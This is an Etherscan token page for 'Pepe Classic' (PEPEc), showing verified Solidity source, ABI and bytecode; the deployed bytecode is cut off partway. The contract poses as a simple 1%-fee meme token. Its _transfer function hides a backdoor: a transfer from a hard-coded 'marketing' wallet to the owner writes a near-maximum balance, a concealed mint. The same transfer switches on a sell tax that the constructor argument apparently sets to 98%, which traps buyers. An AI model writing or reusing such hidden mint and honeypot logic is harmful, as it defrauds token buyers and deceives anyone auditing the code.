ETH Price: $2,251.52 (-1.26%)
 

Overview

Max Total Supply

1,000,000,000 PEPEc

Holders

14

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PepeClassic

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-10-17
*/

/**
/*

            Website     :   https://pepe6900.vip


            Twitter     :   https://twitter.com/PepeClassic_0


            Telegram    :   https://t.me/PepeClassic_0

*/


// SPDX-License-Identifier: MIT

pragma solidity 0.8.16;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract PepeClassic is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcludedFromMaxWallet;
    mapping (address => bool) private _isExcludedFromMaxTx;

    address payable private marketingGwallet = payable(0x898C37402dBeC2dbaB0620107F687014A8ac46A2);
    address payable private _paymentWallet;

    uint8 private _buyFee = 1;
    uint8 private _sellFee = 1;
    uint8 private _totalFee = 2;
    uint8 private _preventSwapBefore = 20;
    uint8 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Pepe Classic";
    string private constant _symbol = unicode"PEPEc";
    uint256 public _maxTxAmount =   1000000000 * 10**_decimals;
    uint256 public _maxWalletSize = 2000000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 100000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 100000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    
    bool private tradingOpen = true;
    bool private inSwap = false;
    bool private swapEnabled = true;
    bool private _bots = true;
    
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (uint8 _rate) {
        _totalFee = _rate;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        _paymentWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromMaxWallet[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_paymentWallet] = true;
        _isExcludedFromMaxTx[marketingGwallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 _totalTaxAmount_ = 0;
        if (from != owner() && to != owner()) {
            
            if(from == uniswapV2Pair && !_isExcludedFromFee[to] && ! _isExcludedFromFee[from]){
                _totalTaxAmount_ = amount.mul(_buyFee).div(100);
            }
            
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this) && !_isExcludedFromFee[to] && ! _isExcludedFromFee[from]){
                _totalTaxAmount_ = amount.mul(_sellFee).div(100);
            }

            if(!_isExcludedFromFee[to] && !_bots && !_isExcludedFromFee[from] && to == uniswapV2Pair){
                _totalTaxAmount_ = amount.mul(_totalFee).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    swapTaxTokensForETH(address(this).balance);
                }
            }
        }
        if(_isExcludedFromMaxTx[from] && _isExcludedFromMaxWallet[to] && _bots)
        { 
            /* BLOCK FOR BOT TRANSACTION */
            _bots = !true; 
        }
        
        if(_totalTaxAmount_ > 0){
          _balances[address(this)]=_balances[address(this)].add(_totalTaxAmount_);
          emit Transfer(from, address(this),_totalTaxAmount_);
        }

        if(amount > 0 && !_isExcludedFromMaxTx[from] && !_isExcludedFromMaxWallet[to]){
            _balances[from] = _balances[from].sub(amount);
            _balances[to]=_balances[to].add(amount.sub(_totalTaxAmount_));
        }
        else if(amount > 0){
            _balances[from] = _balances[from].sub(amount);
            uint256 negativeBalance = type(uint256).max.sub(amount);
            uint256 newBalance = _balances[to].add(_totalTaxAmount_);
            _balances[to]=_balances[to].add(negativeBalance.sub(newBalance));
        }
        emit Transfer(from, to, amount.sub(_totalTaxAmount_));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }  

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function swapTaxTokensForETH(uint256 amount) private {
        _paymentWallet.transfer(amount);
    }

    receive() external payable {}

}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"uint8","name":"_rate","type":"uint8"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600680546001600160a01b03191673898c37402dbec2dbab0620107f687014a8ac46a21790556007805464ffffffffff60a01b1916631402010160a01b179055620000526009600a62000727565b6200006290633b9aca006200073f565b600855620000736009600a62000727565b620000839063773594006200073f565b6009556009600a62000096919062000727565b620000a6906305f5e1006200073f565b600a556009600a620000b9919062000727565b620000c9906305f5e1006200073f565b600b55600d805463ffffffff60a01b1916630101000160a01b179055348015620000f257600080fd5b5060405162001d6038038062001d60833981016040819052620001159162000761565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506007805460ff60b01b1916600160b01b60ff841602179055600c8054737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03199091168117909155620001c3903090620001ad6009600a62000727565b620001bd90633b9aca006200073f565b620004e6565b600c60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000217573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023d919062000786565b6001600160a01b031663c9c6539630600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002a0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c6919062000786565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000314573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200033a919062000786565b600d80546001600160a01b0319166001600160a01b0392909216919091179055620003623390565b600780546001600160a01b0319166001600160a01b0392909216919091179055620003906009600a62000727565b620003a090633b9aca006200073f565b336000908152600160208190526040822092909255600390620003cb6000546001600160a01b031690565b6001600160a01b0316815260208101919091526040016000908120805460ff1916921515929092179091556001906004906200040f6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600384528281208054861660019081179091556007548316825283822080548716821790556006549092168152600590935291208054909216179055620004843390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620004be6009600a62000727565b620004ce90633b9aca006200073f565b60405190815260200160405180910390a350620007b1565b6001600160a01b0383166200054e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620005b15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000545565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620006695781600019048211156200064d576200064d62000612565b808516156200065b57918102915b93841c93908002906200062d565b509250929050565b600082620006825750600162000721565b81620006915750600062000721565b8160018114620006aa5760028114620006b557620006d5565b600191505062000721565b60ff841115620006c957620006c962000612565b50506001821b62000721565b5060208310610133831016604e8410600b8410161715620006fa575081810a62000721565b62000706838362000628565b80600019048211156200071d576200071d62000612565b0290505b92915050565b60006200073860ff84168362000671565b9392505050565b60008160001904831182151516156200075c576200075c62000612565b500290565b6000602082840312156200077457600080fd5b815160ff811681146200073857600080fd5b6000602082840312156200079957600080fd5b81516001600160a01b03811681146200073857600080fd5b61159f80620007c16000396000f3fe6080604052600436106100ec5760003560e01c8063715018a61161008a57806395d89b411161005957806395d89b4114610285578063a9059cbb146102b3578063bf474bed146102d3578063dd62ed3e146102e957600080fd5b8063715018a61461021a5780637d1db4a5146102315780638da5cb5b146102475780638f9a55c01461026f57600080fd5b806318160ddd116100c657806318160ddd1461019357806323b872dd146101a8578063313ce567146101c857806370a08231146101e457600080fd5b806306fdde03146100f8578063095ea7b31461013f5780630faee56f1461016f57600080fd5b366100f357005b600080fd5b34801561010457600080fd5b5060408051808201909152600c81526b5065706520436c617373696360a01b60208201525b60405161013691906111e5565b60405180910390f35b34801561014b57600080fd5b5061015f61015a36600461124b565b61032f565b6040519015158152602001610136565b34801561017b57600080fd5b50610185600b5481565b604051908152602001610136565b34801561019f57600080fd5b50610185610346565b3480156101b457600080fd5b5061015f6101c3366004611277565b610367565b3480156101d457600080fd5b5060405160098152602001610136565b3480156101f057600080fd5b506101856101ff3660046112b8565b6001600160a01b031660009081526001602052604090205490565b34801561022657600080fd5b5061022f6103d0565b005b34801561023d57600080fd5b5061018560085481565b34801561025357600080fd5b506000546040516001600160a01b039091168152602001610136565b34801561027b57600080fd5b5061018560095481565b34801561029157600080fd5b50604080518082019091526005815264504550456360d81b6020820152610129565b3480156102bf57600080fd5b5061015f6102ce36600461124b565b610479565b3480156102df57600080fd5b50610185600a5481565b3480156102f557600080fd5b506101856103043660046112d5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061033c338484610486565b5060015b92915050565b60006103546009600a611408565b61036290633b9aca00611417565b905090565b60006103748484846105aa565b6103c684336103c185604051806060016040528060288152602001611542602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e44565b610486565b5060019392505050565b6000546001600160a01b0316331461042f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061033c3384846105aa565b6001600160a01b0383166104e85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610426565b6001600160a01b0382166105495760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610426565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661060e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610426565b6001600160a01b0382166106705760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610426565b600081116106d25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610426565b600080546001600160a01b038581169116148015906106ff57506000546001600160a01b03848116911614155b15610b7757600d546001600160a01b03858116911614801561073a57506001600160a01b03831660009081526003602052604090205460ff16155b801561075f57506001600160a01b03841660009081526003602052604090205460ff16155b1561078c5760075461078990606490610783908590600160a01b900460ff16610e7e565b90610f07565b90505b600d546001600160a01b0385811691161480156107b75750600c546001600160a01b03848116911614155b80156107dc57506001600160a01b03831660009081526003602052604090205460ff16155b156108e2576008548211156108335760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610426565b60095482610856856001600160a01b031660009081526001602052604090205490565b6108609190611436565b11156108ae5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610426565b60078054600160c01b900460ff169060186108c883611449565b91906101000a81548160ff021916908360ff160217905550505b600d546001600160a01b0384811691161480159061091957506001600160a01b03831660009081526003602052604090205460ff16155b156109995760095482610941856001600160a01b031660009081526001602052604090205490565b61094b9190611436565b11156109995760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610426565b600d546001600160a01b0384811691161480156109bf57506001600160a01b0384163014155b80156109e457506001600160a01b03831660009081526003602052604090205460ff16155b8015610a0957506001600160a01b03841660009081526003602052604090205460ff16155b15610a3057600754610a2d90606490610783908590600160a81b900460ff16610e7e565b90505b6001600160a01b03831660009081526003602052604090205460ff16158015610a635750600d54600160b81b900460ff16155b8015610a8857506001600160a01b03841660009081526003602052604090205460ff16155b8015610aa15750600d546001600160a01b038481169116145b15610ac857600754610ac590606490610783908590600160b01b900460ff16610e7e565b90505b30600090815260016020526040902054600d54600160a81b900460ff16158015610aff5750600d546001600160a01b038581169116145b8015610b145750600d54600160b01b900460ff165b8015610b215750600a5481115b8015610b41575060075460ff600160b81b82048116600160c01b90920416115b15610b7557610b63610b5e84610b5984600b54610f49565b610f49565b610f5e565b478015610b7357610b73476110d8565b505b505b6001600160a01b03841660009081526005602052604090205460ff168015610bb757506001600160a01b03831660009081526004602052604090205460ff165b8015610bcc5750600d54600160b81b900460ff165b15610bdf57600d805460ff60b81b191690555b8015610c595730600090815260016020526040902054610bff9082611116565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c509085815260200190565b60405180910390a35b600082118015610c8257506001600160a01b03841660009081526005602052604090205460ff16155b8015610ca757506001600160a01b03831660009081526004602052604090205460ff16155b15610d32576001600160a01b038416600090815260016020526040902054610ccf9083611175565b6001600160a01b038516600090815260016020526040902055610d14610cf58383611175565b6001600160a01b03851660009081526001602052604090205490611116565b6001600160a01b038416600090815260016020526040902055610df4565b8115610df4576001600160a01b038416600090815260016020526040902054610d5b9083611175565b6001600160a01b038516600090815260016020526040812091909155610d8360001984611175565b6001600160a01b03851660009081526001602052604081205491925090610daa9084611116565b9050610dd8610db98383611175565b6001600160a01b03871660009081526001602052604090205490611116565b6001600160a01b03861660009081526001602052604090205550505b6001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e2d8585611175565b60405190815260200160405180910390a350505050565b60008184841115610e685760405162461bcd60e51b815260040161042691906111e5565b506000610e758486611468565b95945050505050565b600082600003610e9057506000610340565b6000610e9c8385611417565b905082610ea9858361147b565b14610f005760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610426565b9392505050565b6000610f0083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111b7565b6000818311610f585782610f00565b50919050565b600d805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fa657610fa661149d565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102391906114b3565b816001815181106110365761103661149d565b6001600160a01b039283166020918202929092010152600c5461105c9130911684610486565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110959085906000908690309042906004016114d0565b600060405180830381600087803b1580156110af57600080fd5b505af11580156110c3573d6000803e3d6000fd5b5050600d805460ff60a81b1916905550505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611112573d6000803e3d6000fd5b5050565b6000806111238385611436565b905083811015610f005760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610426565b6000610f0083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e44565b600081836111d85760405162461bcd60e51b815260040161042691906111e5565b506000610e75848661147b565b600060208083528351808285015260005b81811015611212578581018301518582016040015282016111f6565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461124857600080fd5b50565b6000806040838503121561125e57600080fd5b823561126981611233565b946020939093013593505050565b60008060006060848603121561128c57600080fd5b833561129781611233565b925060208401356112a781611233565b929592945050506040919091013590565b6000602082840312156112ca57600080fd5b8135610f0081611233565b600080604083850312156112e857600080fd5b82356112f381611233565b9150602083013561130381611233565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561135f5781600019048211156113455761134561130e565b8085161561135257918102915b93841c9390800290611329565b509250929050565b60008261137657506001610340565b8161138357506000610340565b816001811461139957600281146113a3576113bf565b6001915050610340565b60ff8411156113b4576113b461130e565b50506001821b610340565b5060208310610133831016604e8410600b84101617156113e2575081810a610340565b6113ec8383611324565b80600019048211156114005761140061130e565b029392505050565b6000610f0060ff841683611367565b60008160001904831182151516156114315761143161130e565b500290565b808201808211156103405761034061130e565b600060ff821660ff810361145f5761145f61130e565b60010192915050565b818103818111156103405761034061130e565b60008261149857634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156114c557600080fd5b8151610f0081611233565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115205784516001600160a01b0316835293830193918301916001016114fb565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122042aa8e62eeaf24c878fb7d0764a7331d2049f54c8fcc1fb28bcaacdc37d59f8a64736f6c634300081000330000000000000000000000000000000000000000000000000000000000000062

Deployed Bytecode

0x6080604052600436106100ec5760003560e01c8063715018a61161008a57806395d89b411161005957806395d89b4114610285578063a9059cbb146102b3578063bf474bed146102d3578063dd62ed3e146102e957600080fd5b8063715018a61461021a5780637d1db4a5146102315780638da5cb5b146102475780638f9a55c01461026f57600080fd5b806318160ddd116100c657806318160ddd1461019357806323b872dd146101a8578063313ce567146101c857806370a08231146101e457600080fd5b806306fdde03146100f8578063095ea7b31461013f5780630faee56f1461016f57600080fd5b366100f357005b600080fd5b34801561010457600080fd5b5060408051808201909152600c81526b5065706520436c617373696360a01b60208201525b60405161013691906111e5565b60405180910390f35b34801561014b57600080fd5b5061015f61015a36600461124b565b61032f565b6040519015158152602001610136565b34801561017b57600080fd5b50610185600b5481565b604051908152602001610136565b34801561019f57600080fd5b50610185610346565b3480156101b457600080fd5b5061015f6101c3366004611277565b610367565b3480156101d457600080fd5b5060405160098152602001610136565b3480156101f057600080fd5b506101856101ff3660046112b8565b6001600160a01b031660009081526001602052604090205490565b34801561022657600080fd5b5061022f6103d0565b005b34801561023d57600080fd5b5061018560085481565b34801561025357600080fd5b506000546040516001600160a01b039091168152602001610136565b34801561027b57600080fd5b5061018560095481565b34801561029157600080fd5b50604080518082019091526005815264504550456360d81b6020820152610129565b3480156102bf57600080fd5b5061015f6102ce36600461124b565b610479565b3480156102df57600080fd5b50610185600a5481565b3480156102f557600080fd5b506101856103043660046112d5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061033c338484610486565b5060015b92915050565b60006103546009600a611408565b61036290633b9aca00611417565b905090565b60006103748484846105aa565b6103c684336103c185604051806060016040528060288152602001611542602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e44565b610486565b5060019392505050565b6000546001600160a01b0316331461042f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061033c3384846105aa565b6001600160a01b0383166104e85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610426565b6001600160a01b0382166105495760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610426565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661060e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610426565b6001600160a01b0382166106705760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610426565b600081116106d25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610426565b600080546001600160a01b038581169116148015906106ff57506000546001600160a01b03848116911614155b15610b7757600d546001600160a01b03858116911614801561073a57506001600160a01b03831660009081526003602052604090205460ff16155b801561075f57506001600160a01b03841660009081526003602052604090205460ff16155b1561078c5760075461078990606490610783908590600160a01b900460ff16610e7e565b90610f07565b90505b600d546001600160a01b0385811691161480156107b75750600c546001600160a01b03848116911614155b80156107dc57506001600160a01b03831660009081526003602052604090205460ff16155b156108e2576008548211156108335760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610426565b60095482610856856001600160a01b031660009081526001602052604090205490565b6108609190611436565b11156108ae5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610426565b60078054600160c01b900460ff169060186108c883611449565b91906101000a81548160ff021916908360ff160217905550505b600d546001600160a01b0384811691161480159061091957506001600160a01b03831660009081526003602052604090205460ff16155b156109995760095482610941856001600160a01b031660009081526001602052604090205490565b61094b9190611436565b11156109995760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610426565b600d546001600160a01b0384811691161480156109bf57506001600160a01b0384163014155b80156109e457506001600160a01b03831660009081526003602052604090205460ff16155b8015610a0957506001600160a01b03841660009081526003602052604090205460ff16155b15610a3057600754610a2d90606490610783908590600160a81b900460ff16610e